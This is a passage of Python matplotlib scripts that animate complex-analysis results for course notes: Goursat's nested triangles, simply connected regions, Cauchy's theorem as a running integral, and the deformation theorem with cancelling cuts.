f1 = lambda z: np.conj(z - P_IN) * np.exp(-np.abs(z - P_IN) ** 2 / S_W + 2.2j * z.real)   # a phase too, so the
#                                                        integrals point in different directions
LEVELS = 5
NEST, KIDS, KIDI, PICK = [V0], [], [], []
for n in range(LEVELS):
    ks = children(NEST[-1])
    Is = [I(f1, k) for k in ks]
    j = int(np.argmax(np.abs(Is)))
    KIDS.append(ks); KIDI.append(Is); PICK.append(j); NEST.append(ks[j])
T = NEST[-1]
for n in range(20):                                       # continue the choices: the nested triangles
    ks = children(T); T = ks[int(np.argmax([abs(I(f1, k)) for k in ks]))]
ZSTAR = T.mean()                                          # ...shrink to this point z*
I_NEST = np.array([I(f1, T) for T in NEST])
RESC = np.array([4 ** n * abs(I_NEST[n]) for n in range(LEVELS + 1)])   # 4^n |I(Delta_n)|: never decreases

# Stage 2: an analytic function, and its affine approximation at z*
f2, df2 = np.exp, np.exp
NLEV2 = 8
NEST2 = [V0]
for n in range(NLEV2):                                    # the nested triangles containing z*
    ks = children(NEST2[-1])
    NEST2.append(min(ks, key=lambda k: abs(k.mean() - ZSTAR)))
A = lambda z: f2(ZSTAR) + df2(ZSTAR) * (z - ZSTAR)       # has an antiderivative, so integrates to 0
ERR = np.array([np.max(np.abs(f2(boundary(T)) - A(boundary(T)))) for T in NEST2])   # sup |f - A| on the boundary
R = np.array([diam(T) for T in NEST2])
L = np.array([perim(T) for T in NEST2])
BOUND = np.array([4 ** n * ERR[n] * L[n] for n in range(NLEV2 + 1)])   # 4^n |I(Delta_n)| <= 4^n sup|f-A| length


def fmt(w):
    return "%.3f %s %.3fi" % (w.real + 0.0, "-" if w.imag < -5e-4 else "+", abs(w.imag))


def limits_around(T, pad=0.18):
    c = T.mean(); h = (0.5 + pad) * max(np.ptp(T.real), np.ptp(T.imag))
    return c.real - h, c.real + h, c.imag - h, c.imag + h


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))

fig = plt.figure(figsize=(10.4, 5.5))
axz = fig.add_axes([0.02, 0.02, 0.96, 0.84])
title = fig.text(0.5, 0.955, "", ha="center", fontsize=13)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=10.5, color="0.35")
NZ = 34
SCHED = [(n + i / NZ) for n in range(LEVELS) for i in range(NZ)] + [LEVELS] * 16
ALLI = [4 ** (n + 1) * abs(x) for n, Is in enumerate(KIDI) for x in Is]
NORM = plt.Normalize(0, max(ALLI))


def frame(k):
    x = SCHED[k % len(SCHED)]
    n = min(int(x), LEVELS); p = x - int(x) if n < LEVELS else 1.0
    axz.cla(); axz.axis("off"); axz.set_aspect("equal")
    a = np.array(limits_around(NEST[n])); b = np.array(limits_around(NEST[min(n + 1, LEVELS)]))
    # a smooth zoom: geometric in the scale, so every halving takes the same time
    ca, cb = (a[0] + a[1]) / 2 + 1j * (a[2] + a[3]) / 2, (b[0] + b[1]) / 2 + 1j * (b[2] + b[3]) / 2
    ha, hb = (a[1] - a[0]) / 2, (b[1] - b[0]) / 2
    t = ease(min(max((p - 0.35) / 0.65, 0), 1)) if n < LEVELS else 0
    c, h = ca + (cb - ca) * t, ha * (hb / ha) ** t
    ratio = 5.5 * 0.84 / (10.4 * 0.96)
    axz.set_xlim(c.real - h / ratio * 0.9, c.real + h / ratio * 0.9); axz.set_ylim(c.imag - h, c.imag + h)
    for m in range(min(n + 1, LEVELS)):
        a_ = [abs(x) for x in KIDI[m]]
        for j, K in enumerate(KIDS[m]):
            if m < n:                                   # earlier levels: the pieces not chosen, in grey
                if j != PICK[m]:
                    axz.fill(K.real, K.imag, color="0.93", lw=0)
            else:                                       # this level: darker = a larger |I_j| among the four
                share = (a_[j] - min(a_)) / (max(a_) - min(a_) + 1e-300)
                axz.fill(K.real, K.imag, color=plt.cm.Oranges(0.12 + 0.6 * share), lw=0)
            q = np.r_[K, K[:1]]; axz.plot(q.real, q.imag, color="0.55" if m < n else "white", lw=0.8 if m < n else 1.4)
    for m in range(min(n + 1, LEVELS + 1)):
        q = np.r_[NEST[m], NEST[m][:1]]; axz.plot(q.real, q.imag, color="k", lw=2.2 if m == n else 1.0)
    if n < LEVELS and p > 0.2:
        q = np.r_[NEST[n + 1], NEST[n + 1][:1]]; axz.plot(q.real, q.imag, color="tab:blue", lw=3)
    shown = min(n + (1 if p > 0.2 else 0), LEVELS)
    title.set_text(r"Goursat, stage 1: zooming into $\Delta_{%d}$,  diameter $%.3f$,  $4^{n}|I(\Delta_n)|=%.3f$"
                   % (shown, diam(NEST[shown]), RESC[shown]))
    sub.set_text(r"darker: a larger $|I_j|$ among the four pieces of $\Delta_n$; the outlined piece carries at least a "
                 r"quarter of $I(\Delta_n)$, so $4^{n}|I(\Delta_n)|$ never decreases")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(40)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Simply connected or not (Definition 20.7 and the paragraph after it; Theorem 20.9).
Top: the region D and a loop.  (1) D = the sector |arg z| < 0.8 pi, star-shaped with respect to z0 = 1: the
homotopy H(t,s) = (1-s) gamma(t) + s z0 slides each point along its segment [z0, gamma(t)], which lies in D,
and the loop shrinks to z0.  (2) D = the annulus 1 < |z| < 2: the same straight-line homotopy drags the loop
across the hole (red: the part outside D).  (3) Deformations inside the annulus: the loop moves but cannot
shrink past |z| = 1.  Bottom: (1/2 pi i) times the integral of dz/z round H(., s), computed exactly for the
drawn polygon as a sum of Log(z_{k+1}/z_k): 0 in the sector, 1 in the annulus until the curve passes through 0.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, DCOL = "#1f6f78", "#c96a00", "#dcebe9"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
N = 720; t = np.linspace(0, 2 * np.pi, N + 1); A = 0.8 * np.pi
GS = (1.6 + 0.45 * np.cos(t) + 0.08 * np.sin(6 * t)) * np.exp(0.68j * np.pi * np.sin(t))   # loop in the sector
GA = (1.5 + 0.22 * np.sin(3 * t)) * np.exp(1j * t)                                         # loop round the hole
Z0S, Z0A = 1.0, 1.5


def wind(z):                     # (1/2 pi i) * integral of dz/z over the closed polygon z: exact, sum of Log ratios
    return (np.log(z[1:] / z[:-1]).sum() / (2j * np.pi)).real


def H(k):                        # (curve, s, region) at frame k
    ph, v = SCHED[k]
    if ph[0] == "s":
        return (1 - v) * GS + v * Z0S, v
    if ph[0] == "a":
        return (1 - v) * GA + v * Z0A, v
    if ph == "c1":
        return (1.5 + 0.22 * (1 - v) * np.sin(3 * t)) * np.exp(1j * t), v / 2
    return (1.5 - 0.44 * v) * np.exp(1j * t), 0.5 + v / 2


SCHED = ([("sI", 0)] * 14 + [("sH", ease(i / 57)) for i in range(60)] + [("sE", 1)] * 18
         + [("aI", 0)] * 14 + [("aH", ease(i / 73)) for i in range(76)] + [("aE", 1)] * 20
         + [("c1", ease(i / 25)) for i in range(26)] + [("c2", ease(i / 33)) for i in range(34)] + [("cE", 1)] * 22)
K = len(SCHED); CUR = [H(k) for k in range(K)]
VAL = np.array([wind(c) for c, s in CUR]); SS = np.array([s for c, s in CUR])
OUT = np.array([(np.abs(np.angle(c)) >= A).any() if SCHED[k][0][0] == "s" else (np.abs(c) <= 1).any() or (np.abs(c) >= 2).any()
                for k, (c, s) in enumerate(CUR)])
sg = np.linspace(0, 1, 2001)
assert all(np.abs(np.angle((1 - s) * GS + s * Z0S)).max() < A for s in sg[:-1])      # the sector homotopy stays in D
assert np.abs(VAL[:92]).max() < 1e-9 and np.abs(VAL[92 + 14:][SS[92 + 14:] < 0.49] - 1).max() < 1e-9
dist = np.array([np.abs((1 - s) * GA + s * Z0A).min() for s in sg]); LEAVE = sg[dist <= 1][[0, -1]]
assert np.abs(sg[dist.argmin()] - 0.5) < 1e-3 and dist.min() < 1e-3                   # through 0 exactly at s = 1/2

fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.905, "", ha="center", va="center", fontsize=11.5, color="0.3")
axz = fig.add_axes([0.04, 0.475, 0.92, 0.405]); axz.set_aspect("equal"); axz.axis("off")
axz.set_xlim(-2.75, 2.75); axz.set_ylim(-2.35, 2.35)
axg = fig.add_axes([0.14, 0.05, 0.8, 0.2]); axg.set_xlim(0, 1); axg.set_ylim(-0.35, 1.45)
axg.set_yticks([0, 1]); axg.set_xticks([0, 0.25, 0.5, 0.75, 1]); axg.tick_params(labelsize=10)
axg.axhline(0, color="0.8", lw=0.8); axg.axhline(1, color="0.8", lw=0.8)
axg.set_title(r"$\frac{1}{2\pi i}\oint_{H(\cdot,s)}\hspace{0.3}dz/z$ against the parameter", fontsize=12.5)
XL = axg.set_xlabel("", fontsize=12)
th = np.linspace(-A, A, 200); rr = 2.3
SECT = [axz.fill(np.r_[0, rr * np.cos(th), 0], np.r_[0, rr * np.sin(th), 0], color=DCOL, lw=0)[0],
        axz.fill(np.r_[0, rr * np.cos(th[[-1]]), -rr, rr * np.cos(th[[0]]), 0], np.r_[0, rr * np.sin(th[[-1]]), 0, rr * np.sin(th[[0]]), 0],
                 facecolor="none", hatch="///", edgecolor="0.6", lw=0)[0],
        axz.text(-2.1, 0, "not in $D$", ha="center", va="center", fontsize=11, color="0.35",
                 bbox=dict(fc="white", ec="none", pad=1)),
        axz.text(1.0, -2.25, r"$D=\{|\arg z|<0.8\pi\}$ (drawn up to $|z|=2.3$)", ha="center", fontsize=11, color=CCOL)]
u = np.exp(2j * np.pi * np.linspace(0, 1, 200))
ANN = [axz.fill(np.r_[2 * u.real, u.real[::-1]], np.r_[2 * u.imag, u.imag[::-1]], color=DCOL, lw=0)[0],
       axz.fill(u.real, u.imag, facecolor="none", hatch="///", edgecolor="0.6", lw=0)[0],
       axz.plot(u.real, u.imag, color="0.5", lw=1)[0], axz.plot(2 * u.real, 2 * u.imag, color="0.5", lw=1)[0],
       axz.text(0, -2.25, r"$D=\{1<|z|<2\}$; the hole $|z|\leq1$ is not in $D$", ha="center", fontsize=11, color=CCOL)]
axz.scatter([0], [0], s=14, color="k", zorder=6); axz.text(0.06, 0.08, "$0$", fontsize=11)
LAB = [fig.text(0.47, y, s, ha="right", va="center", fontsize=12) for y, s in
       ((0.43, "$s=$"), (0.39, r"is $H(\cdot,s)$ inside $D$?"), (0.345, r"$\frac{1}{2\pi i}\oint_{H(\cdot,s)}\hspace{0.3}dz/z=$"))]
VAL_T = [fig.text(0.49, y, "", va="center", fontsize=12) for y in (0.43, 0.39, 0.345)]
live = []; GR = axg.plot([], [], color="k", lw=2.2)[0]; RED = []; cur = [None]

TT = {"s": (r"A sector is star-shaped (Definition 20.7): every loop contracts",
            r"$H(t,s)=(1-s)\gamma(t)+s z_0$: each point slides along its segment $[z_0,\gamma(t)]\subset D$"),
      "sE": (r"A sector is star-shaped (Definition 20.7): every loop contracts",
             r"at $s=1$ the loop is the point $z_0$; $\oint\hspace{0.5}dz/z$ stayed $0$ ($1/z$ is analytic on $D$)"),
      "a": (r"An annulus is not star-shaped: the same homotopy leaves $D$",
            r"red: the part of $H(\cdot,s)$ in the hole $|z|\leq1$, which is not in $D$"),
      "aE": (r"An annulus is not star-shaped: the same homotopy leaves $D$",
             r"the value can only jump where the curve passes through $0$: here at $s=\frac{1}{2}$, inside the hole"),
      "c": (r"Deformations inside the annulus: the loop moves but cannot shrink",
            r"every loop round the hole has $\oint\hspace{0.5}dz/z=2\pi i\neq0$, however it is deformed in $D$"),
      "cE": (r"Pressed against $|z|=1$: to shrink further the loop must cross the hole",
             r"so $D$ is not simply connected (paragraph after Definition 20.7, via Theorem 20.9)")}


def frame(k):
    while live:
        live.pop().remove()
    ph, v = SCHED[k]; c, s = CUR[k]; reg = ph[0]
    tt = TT.get(ph, TT[reg]); title.set_text(tt[0]); sub.set_text(tt[1])
    for a in SECT:
        a.set_visible(reg == "s")
    for a in ANN:
        a.set_visible(reg != "s")
    g0, z0 = (GS, Z0S) if reg == "s" else (GA, Z0A)
    live.extend(axz.plot(g0.real, g0.imag, color=PCOL, lw=1.2, ls="--", alpha=0.8 if reg != "c" else 0.35))
    if reg != "c":
        j = np.arange(0, N, 30)
        for q in j:
            live.extend(axz.plot([g0[q].real, z0], [g0[q].imag, 0], color="0.55", lw=0.6))
        live.extend(axz.plot([z0], [0], "o", ms=6, color="k", zorder=7))
        live.append(axz.text(z0 + 0.08, -0.22, "$z_0$", fontsize=12))
        live.extend(axz.plot(c[j].real, c[j].imag, "o", ms=3, color=CCOL, zorder=6))
    live.append(axz.text(g0[N // 8].real + 0.15, g0[N // 8].imag + 0.1, r"$\gamma$", color=PCOL, fontsize=14))
    live.extend(axz.plot(c.real, c.imag, color=CCOL, lw=2.6))
    bad = (np.abs(c) <= 1) if reg != "s" else (np.abs(np.angle(c)) >= A)
    if bad.any():
        live.extend(axz.plot(np.where(bad, c.real, np.nan), np.where(bad, c.imag, np.nan), color="red", lw=3.2))
    q = N // 3
    live.append(axz.annotate("", xy=(c[q + 6].real, c[q + 6].imag), xytext=(c[q].real, c[q].imag),
                             arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=16)))
    if cur[0] != reg:
        cur[0] = reg
        XL.set_text({"s": r"$s$ (sector, straight-line homotopy to $z_0$)", "a": r"$s$ (annulus, straight-line homotopy to $z_0$)",
                     "c": "deformation parameter (annulus, staying inside $D$)"}[reg])
    m = np.array([SCHED[i][0][0] == reg for i in range(K)]) & (np.arange(K) <= k)
    x, y = SS[m], VAL[m].copy()
    b = np.nonzero(np.abs(np.diff(y)) > 0.5)[0] + 1
    GR.set_data(np.insert(x, b, np.nan), np.insert(y, b, np.nan))
    live.extend(axg.plot([s], [VAL[k]], "o", ms=7, color="k", zorder=6))
    if reg == "a" and s > LEAVE[0]:
        live.append(axg.axvspan(LEAVE[0], min(s, LEAVE[1]), color="red", alpha=0.15, lw=0))
        live.append(axg.text((LEAVE[0] + LEAVE[1]) / 2, 1.3, r"$H(\cdot,s)$ leaves $D$", color="red", ha="center", fontsize=11))
    if reg == "a" and s >= 0.5:
        live.extend(axg.plot([0.5, 0.5], [-0.35, 1.2], color="red", ls="--", lw=1))
        live.append(axg.text(0.51, 0.5, "passes\nthrough $0$", color="red", fontsize=10.5, va="center"))
    VAL_T[0].set_text("%.3f" % s)
    VAL_T[1].set_text("yes" if not bad.any() else "NO (red part)")
    VAL_T[1].set_color("red" if bad.any() else "k")
    VAL_T[2].set_text("%.4f" % (round(VAL[k], 4) + 0.0))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(150)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Cauchy's theorem, version 1: the running total.
As t runs from a to b the point gamma(t) goes once round a loop (left), and the partial integral
I(t) = integral of f dz over gamma restricted to [a, t] moves in its own plane (right). It starts at 0,
wanders, and comes back to 0 exactly when the loop closes -- for f analytic on and inside the loop
(Theorems 20.8, 20.9). Last, the counterexample 1/z round the unit circle ends at 2 pi i.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the three Cauchy animations: the functions, the loops, and the running integral.
# make_cauchy.py pastes this into each script, so every script stays self-contained.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})


def square(t):                                   # the square with corners -1-i, 1-i, 1+i, -1+i; t in [0, 4]
    c = np.array([-1 - 1j, 1 - 1j, 1 + 1j, -1 + 1j, -1 - 1j])
    k = np.minimum(np.floor(t).astype(int), 3)
    return c[k] + (t - k) * (c[k + 1] - c[k])


CASES = [   # f, a continuous antiderivative along the loop (for version 3), the loop gamma on [a, b]
    dict(f=lambda z: z ** 2, F=lambda z: z ** 3 / 3, g=lambda t: 0.4 + 0.3j + np.exp(1j * t), a=0, b=2 * np.pi,
         fname="f(z)=z^{2}", Fname="F(z)=z^{3}/3", loop="the circle $|z-(0.4+0.3i)|=1$", sing=[], ok=True),
    dict(f=np.exp, F=np.exp, g=square, a=0, b=4,
         fname="f(z)=e^{z}", Fname="F(z)=e^{z}", loop="the square with corners $\\pm1\\pm i$", sing=[], ok=True),
    dict(f=lambda z: 1 / z, F=None, g=lambda t: 2 + np.exp(1j * t), a=0, b=2 * np.pi,
         fname="f(z)=1/z", Fname="F(z)=\\mathrm{Log}\\,z", loop="the circle $|z-2|=1$  ($0$ is outside)", sing=[0], ok=True),
    dict(f=lambda z: 1 / z, F=None, g=lambda t: np.exp(1j * t), a=0, b=2 * np.pi,
         fname="f(z)=1/z", Fname="F=\\log z\\ \\mathrm{continued\\ along}\\ \\gamma", loop="the unit circle: $0$ is INSIDE, $f$ is not analytic there", sing=[0], ok=False),
]
M = 4000                                         # fine sampling of each loop
for C in CASES:
    t = np.linspace(C["a"], C["b"], M + 1)
    z = C["g"](t)
    zm = C["g"]((t[1:] + t[:-1]) / 2)
    C["t"], C["z"] = t, z
    C["I"] = np.r_[0, np.cumsum(C["f"](zm) * np.diff(z))]        # I(t) = integral of f dz over gamma[a, t]
    # F(gamma(t)): the antiderivative continued along the loop, F(gamma(a)) + I(t)
    F0 = C["F"](z[0]) if C["F"] else np.log(z[0])
    C["Fz"] = F0 + C["I"]

FR, HOLD = 50, 10                                # frames per loop, then a pause on the finished loop
SCHED = [(i, min(j, FR - 1)) for i in range(len(CASES)) for j in range(FR + HOLD)]


def at(C, j):                                    # index into the fine sampling at frame j of a loop
    return int(round(M * j / (FR - 1)))


def fmt(w):
    return "%.3f %s %.3fi" % (w.real + 0.0, "-" if w.imag < -5e-4 else "+", abs(w.imag))


def square_limits(pts, pad=0.12):
    pts = np.asarray(pts)
    x0, x1, y0, y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = (0.5 + pad) * max(x1 - x0, y1 - y0, 1e-3)
    cx, cy = (x0 + x1) / 2, (y0 + y1) / 2
    return cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(10.4, 5.5))
axz = fig.add_axes([0.05, 0.08, 0.4, 0.72])
axw = fig.add_axes([0.56, 0.08, 0.4, 0.72])
title = fig.text(0.5, 0.955, "", ha="center", fontsize=13)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=10.5, color="0.35")
state = {"case": None}
temp = []                       # artists redrawn every frame (arrows)


def axes_for(ax, pts):
    ax.cla()
    x0, x1, y0, y1 = square_limits(pts)
    ax.set_xlim(x0, x1); ax.set_ylim(y0, y1); ax.set_aspect("equal"); ax.tick_params(labelsize=8)
    ax.axhline(0, color="0.85", lw=0.8); ax.axvline(0, color="0.85", lw=0.8)


def setup_loop(C):
    # the left panel for a new example: drawn once, then only the moving parts change
    axes_for(axz, np.r_[C["z"], C["sing"]])
    axz.plot(C["z"].real, C["z"].imag, color="0.8", lw=1.2)
    axz.plot(C["z"][0].real, C["z"][0].imag, "s", color="k", ms=6)
    for q in C["sing"]:
        axz.plot(np.real(q), np.imag(q), "x", color="tab:red", ms=10, mew=2.5)
    axz.set_title(r"$z$-plane: $\gamma(t)$ runs from $\gamma(a)$ (square) round to $\gamma(b)=\gamma(a)$", fontsize=10.5)
    state["ztrace"], = axz.plot([], [], color="tab:blue", lw=2.4)
    state["zdot"], = axz.plot([], [], "o", color="tab:blue", ms=7)


def draw_loop(C, n):
    state["ztrace"].set_data(C["z"][:n + 1].real, C["z"][:n + 1].imag)
    state["zdot"].set_data([C["z"][n].real], [C["z"][n].imag])


def new_case(i):
    if state["case"] == i:
        return False
    state["case"] = i
    setup_loop(CASES[i])
    return True


def headline(C, j, value):
    title.set_text(r"$%s$  integrated along %s" % (C["fname"], C["loop"]))
    if j < FR - 1:
        sub.set_text(r"$\int_{\gamma[a,t]}f\,dz=%s$" % fmt(value))
    elif C["ok"]:
        sub.set_text(r"the loop has closed:  $\oint_{\gamma}f\,dz=%s$  (Cauchy's theorem)" % fmt(value))
    else:
        sub.set_text(r"the loop has closed, but $\oint_{\gamma}f\,dz=%s=2\pi i\neq0$: $f$ is not analytic inside $\gamma$" % fmt(value))

def frame(k):
    i, j = SCHED[k % len(SCHED)]
    C = CASES[i]; n = at(C, j)
    if new_case(i):
        axes_for(axw, np.r_[C["I"], 0])
        axw.plot(0, 0, "s", color="k", ms=6)
        axw.set_title(r"the running total $\int_{\gamma[a,t]}f\,dz$ (starts at $0$, square)", fontsize=10.5)
        state["wtrace"], = axw.plot([], [], color="tab:orange", lw=2.2)
        state["wdot"], = axw.plot([], [], "o", color="tab:orange", ms=7)
    draw_loop(C, n)
    state["wtrace"].set_data(C["I"][:n + 1].real, C["I"][:n + 1].imag)
    state["wdot"].set_data([C["I"][n].real], [C["I"][n].imag])
    headline(C, j, C["I"][n])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster is the first loop, closed
    plt.rcParams["pdf.fonttype"] = 42
    frame(FR + 2)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))
    for C in CASES:
        print("  %-8s %-45s closed-loop integral = %s" % (C["fname"], C["loop"][:45], fmt(C["I"][-1])))



"""The deformation theorem (Theorem 20.10), version 1: the proof in the notes, with two cuts.
f is analytic except at z0, inside the small contour C'. Two cuts divide the region between C and C' into
two pieces; each piece contains no singularity, so the integral round it is 0 (Cauchy-Goursat). The pieces
are pulled apart, run round counterclockwise, and put back: each cut is then run twice, in opposite
directions, and cancels. What is left is C counterclockwise and C' clockwise, so the integral round C minus
the integral round C' is 0.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the deformation animations (make_deform.py pastes it into each script).
# Pieces of the region between C and the inner contours, pulled apart, run round, put back; the cuts cancel.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"                          # C and the inner contours, as in the notes' plate
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def plen(P):
    return np.abs(np.diff(P)).sum()


def pt(P, L):                                              # the point at arclength L along the polyline P
    d = np.abs(np.diff(P)); c = np.r_[0, np.cumsum(d)]
    L = min(max(L, 0.0), c[-1]); i = min(np.searchsorted(c, L, side="right") - 1, len(d) - 1)
    return P[i] + (P[i + 1] - P[i]) * (L - c[i]) / d[i]


def upto(P, u):                                            # the first fraction u of P
    c = np.r_[0, np.cumsum(np.abs(np.diff(P)))]; L = u * c[-1]
    return np.r_[P[c < L], pt(P, L)]


def warr(P):                                               # where the arrows go on P (fractions of its length)
    n = max(1, int(round(plen(P) / 1.5)))
    return [(i + 0.5) / n for i in range(n)]


def line(ax, P, **kw):
    live.extend(ax.plot(np.real(P), np.imag(P), **kw))


def parrow(ax, P, w, col, alpha=1.0, ms=16, shift=0, rev=False):
    L = w * plen(P); p, q = pt(P, L - 0.07) + shift, pt(P, L + 0.07) + shift
    if rev:
        p, q = q, p
    live.append(ax.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag), zorder=5,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=2, alpha=alpha, mutation_scale=ms)))


def dot(ax, z, col, s=55):
    live.append(ax.scatter([z.real], [z.imag], s=s, color=col, zorder=6, edgecolor="white", lw=1))


def text(ax, z, s, **kw):
    live.append(ax.text(z.real, z.imag, s, ha="center", va="center", **kw))


def arc(c, r, a, b, n):                                    # c + r e^{it}, t from a to b
    return c + r * np.exp(1j * np.linspace(a, b, n))


def seg(a, b):
    return np.linspace(a, b, 12)


def make_piece(segs, col, off, lp):
    """segs: (points, kind, cut id), kind 'C', 'Cp' or 'cut'; the boundary of the piece, counterclockwise.
    Arrows on a cut are pushed a little into the piece, so the two arrows on a cut sit side by side."""
    full = np.concatenate([P for P, _, _ in segs]); cen = full.mean(); sh = {}
    for P, kind, cid in segs:
        if kind == "cut":
            d = P[-1] - P[0]; nrm = 1j * d / abs(d)
            sh[cid] = 0.08 * np.sign(((cen - P.mean()) * np.conj(nrm)).real) * nrm
    return dict(segs=segs, col=col, off=off, lp=lp, sh=sh, full=full)


def draw_piece(ax, pc, g, s, cut_alpha=1.0, rec=0.0, glow=0.0, lab=0.0):
    """piece pc moved out by g, run round up to the fraction s; rec: arcs recoloured to C / C' colours"""
    o = g * pc["off"]; full = pc["full"] + o
    live.extend(ax.fill(full.real, full.imag, color=pc["col"], alpha=0.13 * (1 - rec), lw=0))
    Ls = [plen(P) for P, _, _ in pc["segs"]]; tot = sum(Ls); acc = 0.0
    for (P, kind, cid), Lk in zip(pc["segs"], Ls):
        u = min(max((s * tot - acc) / Lk, 0.0), 1.0); acc += Lk
        if u <= 0:
            continue
        Q = P + o
        if kind == "cut":
            col, al, lw, sh = pc["col"], cut_alpha, 2.3 + 2 * glow, pc["sh"][cid]
            if al < 0.02:
                continue
        else:
            col, al, lw, sh = mix(pc["col"], CCOL if kind == "C" else PCOL, rec), 1.0, 2.3, 0
        line(ax, upto(Q, u), color=col, lw=lw, alpha=al)
        for w in warr(P):
            if u > w + 0.06:
                parrow(ax, Q, w, col, al, ms=16 + (7 * glow if kind == "cut" else 0), shift=sh)
    if 0 < s < 1:
        dot(ax, pt(full, s * tot), pc["col"])
    if lab > 0:
        text(ax, pc["lp"] + o, pc.get("name", ""), fontsize=12, color=pc["col"], alpha=lab)


def curve(ax, P, col, s=1.0, alpha=1.0, ccw=1.0, cw=0.0):
    line(ax, upto(P, s), color=col, lw=2.6, alpha=alpha)
    for w in warr(P):
        if s > w + 0.05:
            if ccw > 0:
                parrow(ax, P, w, col, alpha * ccw)
            if cw > 0:
                parrow(ax, P, w, col, alpha * cw, rev=True)


PH = [("goal", 36), ("apart", 20), ("run", 54), ("back", 22), ("cancel", 26), ("left", 22), ("flip", 18), ("end", 24)]
SCHED = list(range(sum(n for _, n in PH)))


def where(k):
    for name, n in PH:
        if k < n:
            return name, k / (n - 1)
        k -= n
    return PH[-1][0], 1.0


def engine(ax, k, CURVES, PIECES):
    """one frame of the common story; returns the phase name and progress"""
    name, p = where(k)
    if name == "goal":
        for P, col in CURVES:
            curve(ax, P, col, p); dot(ax, pt(P, p * plen(P)), col)
    elif name == "apart":
        g = ease(p)
        for P, col in CURVES:
            curve(ax, P, col, 1, 1 - 0.88 * g)
        for pc in PIECES:
            draw_piece(ax, pc, g, 0.0)
    elif name == "run":
        for pc in PIECES:
            draw_piece(ax, pc, 1.0, p, lab=min(1, max(0, (p - 0.85) / 0.15)))
    elif name == "back":
        for pc in PIECES:
            draw_piece(ax, pc, 1 - ease(p), 1.0, lab=1 - ease(p))
    elif name == "cancel":
        glow, f = np.sin(np.pi * min(p / 0.45, 1.0)), ease((p - 0.45) / 0.55)
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 1 - f, f, glow)
    elif name == "left":
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 0.0, 1.0)
    else:
        f = ease(p) if name == "flip" else 1.0
        for i, (P, col) in enumerate(CURVES):
            curve(ax, P, col, ccw=1.0 if i == 0 else f, cw=0.0 if i == 0 else 1 - f)
    return name, p

fig = plt.figure(figsize=(7.4, 7.0)); AXPOS = [0.02, 0.02, 0.96, 0.84]

ax = fig.add_axes(AXPOS); ax.set_aspect("equal"); ax.axis("off")
title = fig.text(0.5, 0.955, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.905, "", ha="center", fontsize=12, color="0.3")

R = lambda t: 2.0 + 0.3 * np.cos(2 * t) + 0.18 * np.sin(3 * t) - 0.1 * np.cos(t)
RHO = 0.6
outer = lambda a, b, n: R(np.linspace(a, b, n)) * np.exp(1j * np.linspace(a, b, n))
CURVES = [(outer(0, 2 * np.pi, 400), CCOL), (arc(0, RHO, 0, 2 * np.pi, 200), PCOL)]


def sector(a, b, col, name, D):
    """the piece between the rays at angles a < b: out along C, in along a cut, back along C' (clockwise), out"""
    m, e = (a + b) / 2, lambda t: np.exp(1j * t)
    segs = [(outer(a, b, int(70 * (b - a)) + 2), "C", None), (seg(R(b) * e(b), RHO * e(b)), "cut", "b"),
            (arc(0, RHO, b, a, int(40 * (b - a)) + 2), "Cp", None), (seg(RHO * e(a), R(a) * e(a)), "cut", "a")]
    pc = make_piece(segs, col, D * e(m), (RHO + R(m)) / 2 * e(m)); pc["name"] = name
    return pc


def z0(ax):
    ax.scatter([0], [0], s=45, color="red", zorder=7); ax.text(0.1, -0.22, "$z_0$", color="red", fontsize=13)

ax.set_xlim(-3.2, 3.2); ax.set_ylim(-3.0, 3.1); z0(ax)
PIECES = [sector(0, np.pi, "tab:blue", "$P_1$\n" r"$\oint_{\partial P_1}f\,dz=0$", 0.8),
          sector(np.pi, 2 * np.pi, "tab:green", "$P_2$\n" r"$\oint_{\partial P_2}f\,dz=0$", 0.8)]
TT = {"goal": ("Goal: compare the integrals round $C$ and round $C'$",
               r"$f$ is analytic except at $z_0$, which lies inside $C'$"),
